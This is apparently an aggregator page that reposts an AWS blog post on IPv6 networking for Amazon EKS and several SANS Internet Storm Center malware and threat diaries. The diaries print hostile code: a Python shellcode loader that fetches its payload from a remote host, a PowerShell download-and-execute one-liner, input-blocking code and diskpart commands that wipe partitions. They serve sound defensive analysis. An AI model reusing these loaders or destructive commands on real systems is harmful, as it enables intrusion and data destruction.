Amazon Elastic Kubernetes Service Adds IPv6 Networking

This post was originally published on this site

Starting today, you can deploy applications that use IPv6 address space on Amazon Elastic Kubernetes Service (EKS).

Many of our customers are standardizing Kubernetes as their compute infrastructure platform for cloud and on-premises applications. Amazon EKS makes it easy to deploy containerized workloads. It provides highly available clusters and automates tasks such as patching, node provisioning, and updates.

Kubernetes uses a flat networking model that requires each pod to receive an IP address. This simplified approach enables low-friction porting of applications from virtual machines to containers but requires a significant number of IP addresses that many private VPC IPv4 networks are not equipped to handle. Some cluster administrators work around this IPv4 space limitation by installing container network plugins (CNI) that virtualize IP addresses a layer above the VPC, but this architecture limits an administrator’s ability to effectively observe and troubleshoot applications and has a negative impact on network performance at scale. Further, to communicate with internet services outside the VPC, traffic from IPv4 pods is routed through multiple network hops before reaching its destination, which adds latency and puts a strain on network engineering teams who need to maintain complex routing setups.

To avoid IP address exhaustion, minimize latency at scale, and simplify routing configuration, the solution is to use IPv6 address space.

IPv6 is not new. In 1996, I bought my first book on “IPng, Internet Protocol Next Generation”, as it was called 25 years ago. It provides a 64-bit address space, allowing 3.4 x 10^38 possible IP addresses for our devices, servers, or containers. We could assign an IPv6 address to every atom on the surface of the planet and still have enough addresses left to do another 100-plus Earths.

IPng Internet protocol Next Generation bookThere are a few advantages to using Amazon EKS clusters with an IPv6 network. First, you can run more pods on one single host or subnet without the risk of exhausting all available IPv4 addresses available in your VPC. Second, it allows for lower-latency communications with other IPv6 services, running on-premises, on AWS, or on the internet, by avoiding an extra NAT hop. Third, it relieves network engineers of the burden of maintaining complex routing configurations.

Kubernetes cluster administrators can focus on migrating and scaling applications without spending efforts working around IPv4 limits. Finally, pod networking is configured so that the pods can communicate with IPv4-based applications outside the cluster, allowing you to adopt the benefits of IPv6 on Amazon EKS without requiring that all dependent services deployed across your organization are first migrated to IPv6.

As usual, I built a short demo to show you how it works.

How It Works
Before I get started, I create an IPv6 VPC. I use this CDK script to create an IPv6-enabled VPC in a few minutes (thank you Angus Lees for the code). Just install CDK v2 (npm install -g aws-cdk@next) and deploy the stack (cdk bootstrap && cdk deploy).

When the VPC with IPv6 is created, I use the console to configure auto-assignment of IPv6 addresses to resources deployed in the public subnets (I do this for each public subnet).

auto assign IPv6 addresses in subnet

I take note of the subnet IDs created by the CDK script above (they are listed in the output of the script) and define a couple of variables I’ll use throughout the demo. I also create a cluster IAM role and a node IAM role, as described in the Amazon EKS documentation. When you already have clusters deployed, these two roles exist already.

I open a Terminal and type:


Next, I create an Amazon EKS IPv6 cluster. In a terminal, I type:

aws eks create-cluster --cli-input-json "{
"name": "${CLUSTER_NAME}",
"version": "1.21",
"roleArn": "${CLUSTER_ROLE_ARN}",
"resourcesVpcConfig": {
"subnetIds": [
    "${SUBNET1}", "${SUBNET2}"
"endpointPublicAccess": true,
"endpointPrivateAccess": true
"kubernetesNetworkConfig": {
    "ipFamily": "ipv6"

    "cluster": {
        "name": "AWSNewsBlog",
        "arn": "arn:aws:eks:us-west-2:486652066693:cluster/AWSNewsBlog",
        "createdAt": "2021-11-02T17:29:32.989000+01:00",
        "version": "1.21",

...redacted for brevity...

        "status": "CREATING",
        "certificateAuthority": {},
        "platformVersion": "eks.4",
        "tags": {}

I use the describe-cluster while waiting for the cluster to be created. When the cluster is ready, it has "status" : "ACTIVE"

aws eks describe-cluster --name "${CLUSTER_NAME}"

Then I create a node group:

aws eks create-nodegroup                       
        --cluster-name ${CLUSTER_NAME}         
        --nodegroup-name AWSNewsBlog-nodegroup 
        --node-role ${NODE_ROLE_ARN}           
        --subnets "${SUBNET1}" "${SUBNET2}"    
        --remote-access ec2SshKey=${KEYPAIR_NAME}
    "nodegroup": {
        "nodegroupName": "AWSNewsBlog-nodegroup",
        "nodegroupArn": "arn:aws:eks:us-west-2:0123456789:nodegroup/AWSNewsBlog/AWSNewsBlog-nodegroup/3ebe70c7-6c45-d498-6d42-4001f70e7833",
        "clusterName": "AWSNewsBlog",
        "version": "1.21",
        "releaseVersion": "1.21.4-20211101",

        "status": "CREATING",
        "capacityType": "ON_DEMAND",

... redacted for brevity ...


Once the node group is created, I see two EC2 instances in the console. I use the AWS Command Line Interface (CLI) to verify that the instances received an IPv6 address:

aws ec2 describe-instances --query "Reservations[].Instances[? State.Name == 'running' ][].NetworkInterfaces[].Ipv6Addresses" --output text 


I use the kubectl command to verify the cluster from a Kubernetes point of view.

kubectl get nodes -o wide

NAME                                       STATUS   ROLES    AGE     VERSION               INTERNAL-IP                              EXTERNAL-IP    OS-IMAGE         KERNEL-VERSION                CONTAINER-RUNTIME   Ready    <none>   2d13h   v1.21.4-eks-033ce7e   2600:1f13:812:0000:0000:0000:0000:2263   Amazon Linux 2   5.4.149-73.259.amzn2.x86_64   docker://20.10.7   Ready    <none>   2d13h   v1.21.4-eks-033ce7e   2600:1f13:812:0000:0000:0000:0000:7f3e   Amazon Linux 2   5.4.149-73.259.amzn2.x86_64   docker://20.10.7

Then I deploy a Pod. I follow these steps in the EKS documentation. It deploys a sample nginx web server.

kubectl create namespace aws-news-blog
namespace/aws-news-blog created

# sample-service.yml is available at
kubectl apply -f  sample-service.yml 
service/my-service created
deployment.apps/my-deployment created

kubectl get pods -n aws-news-blog -o wide
NAME                             READY   STATUS    RESTARTS   AGE   IP                           NODE                                       NOMINATED NODE   READINESS GATES
my-deployment-5dd5dfd6b9-7rllg   1/1     Running   0          17m   2600:0000:0000:0000:405b::2   <none>           <none>
my-deployment-5dd5dfd6b9-h6mrt   1/1     Running   0          17m   2600:0000:0000:0000:46f9::   <none>           <none>
my-deployment-5dd5dfd6b9-mrkfv   1/1     Running   0          17m   2600:0000:0000:0000:46f9::1   <none>           <none>

I take note of the IPv6 address of my pods, and try to connect it from my laptop. As my awesome service provider doesn’t provide me with an IPv6 at home yet, the connection fails. This is expected as the pods do not have an IPv4 address at all. Notice the -g option telling curl to not consider : in the IP address as the separator for the port number and -6 to tell curl to connect through IPv6 only (required when you provide curl with a DNS hostname).

curl -g -6 http://[2600:0000:0000:35000000:46f9::1]
curl: (7) Couldn't connect to server

To test IPv6 connectivity, I start a dual stack (IPv4 and IPv6) EC2 instance in the same VPC as the cluster. I SSH connect to the instance and try the curl command again. I see I receive the default HTML page served by nginx. IPv6 connectivity to the pod works!

curl -g -6 http://[2600:0000:0000:35000000:46f9::1]
<!DOCTYPE html>
<title>Welcome to nginx!</title>

... redacted for brevity ...

<p><em>Thank you for using nginx.</em></p>

If it does not work for you, verify the security group for the cluster EC2 nodes and be sure it has a rule allowing incoming connections on port TCP 80 from ::/0.

A Few Things to Remember
Before I wrap up, I’d like to answer some frequent questions received from customers who have already experimented with this new capability:

Pricing and Availability
IPv6 support for your Amazon Elastic Kubernetes Service (EKS) cluster is available today in all AWS Regions where Amazon EKS is available, at no additional cost.

Go try it out and build your first IPv6 cluster today.

— seb

Malicious Python Script Targeting Chinese People, (Thu, Jan 6th)

This post was originally published on this site

This week I found a lot of interesting scripts as this is my fourth diary in a row! I spotted a Python script that targets Chinese people. The script has a very low VT score (2/56) (SHA256:aaec7f4829445c89237694a654a731ee5a52fae9486b1d2bce5767d1ec30c7fb). How attackers can restricts their surface attack to some regions, countries or people?

The script implements a simple direct API call using the ctypes library:

dll_h = ctypes.windll.kernel32
if (dll_h.GetSystemDefaultUILanguage() != 2052):

GetSystemDefaultUILanguage() is a Microsoft API call that returns the system default UI language of the operating system[1]. If the language code is not 2052, the script exits. The valid 2052 correspond to "Simplified Chinese"[2]. Note that the script uploaded to VT was probably still being debugged or developed because exit() has been commented.

I had a look at the script which decoded a shell code using a Base85 encoding:

global c
url = 'hxxp://fileserverhk[.]oss-cn-hongkong[.]aliyuncs[.]com/home/js/js.js'
req = urllib.request.Request(url)
data = urllib.request.urlopen(req).read()
key0 = data[:1]
key1 = data[-5:]
key2 = data[1:len(data)-5]
c = b''.fromhex(key2.replace(key1,key0).decode())
c = base64.b85decode(c)

The shellcode downloads the next stage:

Loaded 348 bytes from file C:UsersREMDesktopc.bin
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

4010a2  LoadLibraryA(wininet)
4010b5  InternetOpenA()
4010d1  InternetConnectA(server: adult[.]up-flash[.]com, port: 8443, )

The shellcode is injected using an Base16/Hex/Base85 encoded code:

def decrypt_eval(str):
    global c
    s1 = base64.b16decode(str.encode()).decode()
    s2 = b''.fromhex(s1)
    s3 = base64.b85decode(s2)

The decoded code is classic:

import ctypes;
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(c)),ctypes.c_int(0x3000),ctypes.c_int(0x40));
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(wiseZERld), c, ctypes.c_int(len(c)));
x = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(wiseZERld),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)));

You can find more information in the shellcode to generate the complete URL. The URI is readable and a User-Agent. It must be provided to fetch the content otherwise, an error is returned:

curl -o payload.bin -A "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; RM-1152) AppleWebKit/537.36 (KHTML, like Gecko)"

The payload seems encrypted  but I did not find a way to decode it yet. When the payload is executed in a sandbox, it tries to fetch the following URL but a 404 error is returned:

There is another behaviour in the Python script and I don't see the purpose of this. Web services are created and binded to the loopback on multiple high-ports:

self.ports = [45990, 44792, 56390, 31590, 32790, 48790, 13080, 25980, 34680, 47980, 51380, 61080]

The webserver just returns a string "c_online_s":

  def handler(self, port):
        ip_port = ('', port)
        back_log = 10
        buffer_size = 1024
        webserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        while True:
                conn, addr = webserver.accept()
                if port in self.ports:
                    self.init = True
                recvdata = conn.recv(buffer_size)
                conn.sendall(bytes("HTTP/1.1 200 OKrnAccess-Control-Allow-Origin: *rnrn", "utf-8"))
                conn.sendall(bytes("c_online_s", "utf-8"))

I've no idea about the purpose of this. If you have suggestions, please share!


Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Code Reuse In the Malware Landscape, (Wed, Jan 5th)

This post was originally published on this site

Code re-use is classic behavior for many developers and this looks legit: Why reinvent the wheel if you can find some pieces of code that do what you are trying to achieve? If you publish a nice piece of code on platforms like GitHub, there are chances that your project will be used and sometimes forked by other developers who will add features, fix issues, etc. That's the magic of the Internet. But attackers are also looking for interesting code to borrow on GitHub. A few weeks ago, I wrote a diary about Excel Add-In's[1] used to distribute malware.

This morning,I spotted another campaign that uses the same technique. Emails are sent to victims asking them to have a look at important documents. The payload is delivered in a ZIP archive "". The archive contains two XLL files:

remnux@remnux:/MalwareZoo/20220105$ unzip -t 
    testing: Proposal Listing.xll     OK
    testing: Proposal Listing continue.xll   OK
No errors detected in compressed data of

Both files are indeed Excel Add-In both for different architectures:

remnux@remnux:/MalwareZoo/20220105$ file Proposal Listing*
Proposal Listing continue.xll: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Proposal Listing.xll:          PE32+ executable (DLL) (GUI) x86-64, for MS Windows

These XLL files are interesting because they are based on a project called ExcelDNA:

remnux@remnux:/MalwareZoo/20220105$ pedump Proposal Listing continue.xll |tail -28

  FileVersion         :
  ProductVersion      :
  StrucVersion        :  0x10000
  FileFlagsMask       :  0x17
  FileFlags           :  0
  FileOS              :  4
  FileType            :  2
  FileSubtype         :  0

# StringTable 080004b0:
  Comments            :  "Unmanaged loader shim for Excel-DNA Add-Ins"
  CompanyName         :  "Govert van Drimmelen"
  FileDescription     :  "Excel-DNA Dynamic Link Library"
  FileVersion         :  ""
  InternalName        :  "ExcelDna"
  LegalCopyright      :  "Copyright (C) 2005-2020 Govert van Drimmelen"
  OriginalFilename    :  "ExcelDna.xll"
  ProductName         :  "Excel-DNA Add-In Framework for Microsoft Excel"
  ProductVersion      :  "1.1"

  VarFileInfo         :  [ 0x800, 0x4b0 ]

=== Packer / Compiler ===

  MS Visual C++ 6.0 - 8.0

Searching for "Govert van Drimmelen" will redirect you to a GitHub project[2]. And to confirm the code re-use, we can search for code similarities:

97% of the code is common with the ExcelDna sample Add-In! (Source: Intezer Analyze). The dropped malware is an info stealer. Malware families sometimes share a lot of "bad" code but malware developers are also looking for interesting "safe" code!


Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

A Simple Batch File That Blocks People, (Tue, Jan 4th)

This post was originally published on this site

I found another script that performs malicious actions. It’s a simple batch file (.bat) that is not obfuscated but it has a very low VT score (1/53). The file hash is cc8ae359b629bc40ec6151ddffae21ec8cbfbcf7ca7bda9b3d9687ca05b1d584. The file is detected by only one antivirus that triggered on the “shutdown.exe” located at the end of the script! Why is this script annoying people? Because it uses the BlockInput() API call through a PowerShell one-liner:

powershell -exec bypass -w h -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('hxxps://phoenixthrush[.]com/payloads/scripts/disabling_user_input/disable_user_input.ps1')|iex"

IWR is the abbreviated PowerShell command Invoke-WebRequest (like IEX and Invoke-Expression)

Here is the PowerShell code downloaded and executed:

# requires Administrator
$code = @'
  public static extern bool BlockInput(bool fBlockIt);

$userInput = Add-Type -MemberDefinition $code -Name Blocker -Namespace UserInput -PassThru

# block user input
$null = $userInput::BlockInput($true)

If you don’t know what is the purpose of the BlockInput() API call[1]. The function expects one parameter: TRUE or FALSE. When TRUE is passed, it blocks keyboard and mouse input events from reaching applications. From the user’s point of view, it means that no interaction is possible with the computer until the API is called a second time with “FALSE”. This API is provided by Microsoft to prevent the user to perform actions when the computer executes sensitive operations.

Tip: most people don’t know but there is a way to “unlock” the computer: Just press Ctrl-Alt-Delete then select "Cancel".

The next one-liner used reconfigures the way the power button works:

powershell -exec bypass -w h -c "powercfg -setacvalueindex scheme_balanced sub_buttons pbuttonaction 0"

powercfg.exe is a standard tool provided by Microsoft[2] that allows interaction with power schemes.

Then, the script drops two scripts on the target:

set WshShell = wscript.createobject("") """C:WindowsTempx.bat"" ", 0, true

The file x.bat is a long script that destroys the victim's computer. Here are some pieces of code:

:: deleting some Windows partitions
echo Select Disk 0 >> y.txt
echo Select Partition 2 >> y.txt
echo Delete Partition Override >> y.txt
echo Select Partition 4 >> y.txt
echo Delete Partition Override >> y.txt
diskpart /s y.txt  >nul


:: creating a message box
echo msgbox"stupid b*tch",0 , "get rekt, ur PC has been f*cked" >> y.vbs

That's the first time that I see a call to BlockInput() in a batch file. This is a common anti-debugging technique implemented by malware to prevent the Analyst to interact with the debugger.


Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

McAfee Phishing Campaign with a Nice Fake Scan, (Mon, Jan 3rd)

This post was originally published on this site

I spotted this interesting phishing campaign that (ab)uses the McAfee antivirus to make people scared. It starts with a classic email that notifies the targeted user that a McAfee subscription expired:

The mail is not very well designed but it attracts the victim because it uses classic social engineering techniques:

  • The fear: there is an issue with the antivirus product
  • The interest: a huge discount is offered (80%)
  • The pressure: this is a limited offer in time (only today). Note that the phisher did not change the discount expiration date (March 14, 2021).

When the victim clicks on the "Buy now" link, the following URL is reached: 


This website simulated an antivirus scan and, of course, the computer is infected by multiple malware! If the email is very simple, the fake scan is pretty well designed. I recorded a quick video to show it to you[1]:

I was late to get access to the next stage, it was already removed. We can presume that the attackers were trying to collect credentials and/or billing details.


Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Exchange Server – Email Trapped in Transport Queues, (Sun, Jan 2nd)

This post was originally published on this site

Another issue affecting onPrem Exchange servers (bug affect 2016 & 2019) has been made public today where emails are trapped in the transport queues, this is related to a date check failure with the change of the new year. Microsoft has confirmed this is not a security related issue.

Microsoft is working on a patch and has released a workaround posted here.

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Expect Regressions, (Sat, Jan 1st)

This post was originally published on this site

Last year, my professional relationship with computers entered its 30th year (in other words: for 30 years now, I'm getting paid to work with computers).

One of the things I learned over this period is: "in IT, expect regression".

With regression, I mean this definition: "the process of going back to an earlier or less advanced form or state".

I've seen this happen several times with IT security systems.

For example, a proxy that is configured to block certain web site categories, no longer blocks these web sites, but grants access. It happens for various reasons, but typically, it will happen when a configuration change is made. For example, a new category is supposed to be blocked, but this new catagory is added to an onbsolete configuration file, that is then pushed to the proxies. Result: previous categories that were blocked, are no longer blocked.

Another example: a firewall that is supposed to block all egress traffic, except for typical web traffic ports like 80, 443, …, no longer drops this traffic. This too happened with a configuration change, this time under the assumption that the egress blocking would be done by another network device.

What is typical about such regressions: you don't notice them immediately, and staff will not create helpdesk tickets for regressions that don't hinder them. If users are all of a sudden granted access to a web site that used to be blocked, they will not contact the helpdesk to report this …

Such regressions should be catched by proper release management, but in many cases that I observed, solid release management was in place at that organisation.

Over the years, this has thaught me one thing: "expect unannounced regressions to happen".

This has changed my behavior in 2 ways:

1) I strive to conduct regular regression tests: check that security policies that are supposed to be enforced, are still enforced

2) When performing incident response, when in doubt that a certain security policy is truly enforced, test it or gather evidence to the contrary.


Please post a comment if you have examples of unexpected regressions that you've seen happen during your job.


Best wishes for 2022 from all of us at the SANS Internet Storm Center!


Didier Stevens
Senior handler
Microsoft MVP

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Do you want your Agent Tesla in the 300 MB or 8 kB package?, (Fri, Dec 31st)

This post was originally published on this site

Since today is the last day of 2021, I decided to take a closer look at malware that got caught by my malspam trap over the course of the year.

Of the several hundred unique samples that were collected, probably the most interesting one turned out to be a fairly sizable .NET executable caught in October, which “weight in” at 300 MB and which has 26/64 detection rating on VT at the time of writing[1].

As you may see from the following image, the sample was obfuscated using multiple different tools.

The size of the file was, however, so significant not because of any complex obfuscation, but because the executable had a sizable null byte overlay (i.e., a large number of null bytes added after the end of the file).

Without the overlay, the file would have been less than 700 kB in size.

Although the use of null bytes to inflate the size of a malicious executable to the point when it will not be analyzed by anti-malware tools (AV tools on endpoints as well as on e-mail gateways/web gateways have set limit on the maximum size of files they can scan) is nothing new[2], as the fairly low VT score of this sample shows, it can still be quite effective. Especially when one considers that after further analysis, the executable turned out to be nothing more than a sample of Agent Tesla infostealer[3]…

Two other files I found in my “2021 collection” deserve a short mention in connection with the large executable described above.

They were, again, .NET PE files, and, again, were part of an Agent Tesla infection chain[4].

Besides this, however they were complete opposites of the sample mentioned before. They were only about 8 kB in size each, no obfuscation was used to protect them and their detections on VT are slightly/significantly higher (37/68[5] and 53/68[6] respectively). I mention them together because although there are slight differences in their code, as the following images show, both were very similar, and one can clearly see that they were only supposed to download and run additional code from the internet.

As the preceding text mentions, although all three samples were used in the infection chains of the same malware, the ability of anti-malware tools to detect them varies widely. And since the malware family in question is rather a common one and its samples are often spread by untargeted malspam messages, it goes to show (if anyone still needs to have that pointed out to them at the end of 2021) that depending only on traditional anti-malware tools for (not just) endpoint protection is simply not enough at this point in time…

Nevertheless, since I would like to end this post on a slightly more positive note, let me conclude by wishing you – on behalf of all of us at the SANS Internet Storm Center – a Happy New Year 2022, with as few malware (and other) infections and serious incidents as possible.


Jan Kopriva
Alef Nula

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Agent Tesla Updates SMTP Data Exfiltration Technique, (Thu, Dec 30th)

This post was originally published on this site


Agent Tesla is a Windows-based keylogger and RAT that commonly uses SMTP or FTP to exfiltrate stolen data.  This malware has been around since 2014, and SMTP is its most common method for data exfiltration.

Earlier today, I reviewed post-infection traffic from a recent sample of Agent Tesla.  This activity revealed a change in Agent Tesla's SMTP data exfiltration technique.

Through November 2021 Agent Tesla samples sent their emails to compromised or possibly fraudulent email accounts on mail servers established through hosting providers.  Since December 2021, Agent Tesla now uses those compromised email accounts to send stolen data to Gmail addresses.

Shown above:  Flow chart of recent change in Agent Tesla SMTP data exfiltration.

SMTP exfiltration before the change

Agent Tesla is typically distributed through email, and the following sample was likely an attachment from malicious spam (malspam) sent on 2021-11-28.

SHA256 hash: bdae21952c4e6367fe534a9e5a3b3eb30d045dcb93129c6ce0435c3f0c8d90d3

  • File size: 523,919 bytes
  • File name: Purchase Order Pending
  • Earliest Contents Modification: 2021-11-28 19:55:50 UTC

SHA256 hash: aa4ea361f1f084b054f9871a9845c89d68cde259070ea286babeadc604d6658c

  • File size: 557,056 bytes
  • File name: Purchase Order Pending Quantity.exe
  • Any.Run analysis from 2021-11-29: link

The packet capture (pcap) from Any.Run's analysis shows a typical SMTP data exfiltration path.  The infected Windows host sent a message with stolen data to an email address, and that address was on a mail server established through a hosting provider.

Shown above:  Traffic from the Any.Run analysis filtered in Wireshark.

Shown above:  TCP stream of SMTP traffic shows stolen data sent to the compromised email account.

Example after the change

The following Agent Tesla sample was likely an attachment from malspam sent on 2021-12-01.

SHA256 hash: 6f85cd9df964afc56bd2aed7af28cbc965ea56e49ce84d4f4e91f4478d378f94

  • File size: 375,734 bytes
  • File name: unknown
  • Earliest Contents Modification: 2021-12-01 05:02:06 UTC

SHA256 hash: ff34c1fd26b699489cb814f93a2801ea4c32cc33faf30f32165b23425b0780c7

  • File size: 537,397 bytes
  • File name: Partial Shipment.exe
  • Any.Run analysis from 2021-12-01: link

The pcap from Any.Run's analysis of this malware sample shows a new data exfiltration path.  The infected Windows host sent a message with stolen data to a Gmail address using a compromised email account from a mail server established through a hosting provider.

Shown above:  Traffic from the Any.Run analysis filtered in Wireshark.

Shown above:  TCP stream shows stolen data sent to Gmail address using the compromised email account.

Final words

The basic tactics of Agent Tesla have not changed.  However, post-infection traffic from samples since 2021-12-01 indicates Agent Tesla using STMP for data exfiltration now sends to Gmail addresses.  Based on the names of these addresses, I believe they are fraudulent Gmail accounts, or they were specifically established to receive data from Agent Tesla.

Brad Duncan
brad [at]

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Log4j 2 Security Vulnerabilities Update Guide, (Wed, Dec 29th)

This post was originally published on this site

As Apache Log4j 2 security vulnerabilities continue to surface, and are quickly addressed by the Log4j Security Team, keeping track of specific CVEs, severity, and affected versions can be a bit of a task on the fly. As such, herein is a quick table version of update guidance. The current supported version of Log4j2 for Java 8 is 2.17.1 as of this writing.

Note: Log4j 1 is end of life and no longer supported. Java 7 and 6 are end of life and no longer supported. Please upgrade to current, supported versions accordingly.

Log4j 2 Security Vulnerabilities Update Guide Reference:
Severity CVE fixed Description CVSS Java 8 Java 7 Java 6 Versions Affected
Moderate CVE-2021-44832 Apache Log4j2 vulnerable to RCE via JDBC Appender when attacker controls configuration. 6.6 2.17.1 2.12.4 2.3.2 2.0-alpha7 to 2.17.0, excluding 2.3.2 and 2.12.4
Moderate CVE-2021-45105 Apache Log4j2 does not always protect from infinite recursion in lookup evaluation 5.9 2.17.0 2.12.3 2.3.1 All versions from 2.0-beta9 to 2.16.0, excluding 2.12.3
Critical CVE-2021-45046 Apache Log4j2 Thread Context Lookup Pattern vulnerable to remote code execution in certain non-default configurations 9 2.16.0 2.12.2   All versions from 2.0-beta9 to 2.15.0, excluding 2.12.2
Critical CVE-2021-44228 Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints. 10 2.15.0     All versions from 2.0-beta9 to 2.14.1

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Iron Castle Systems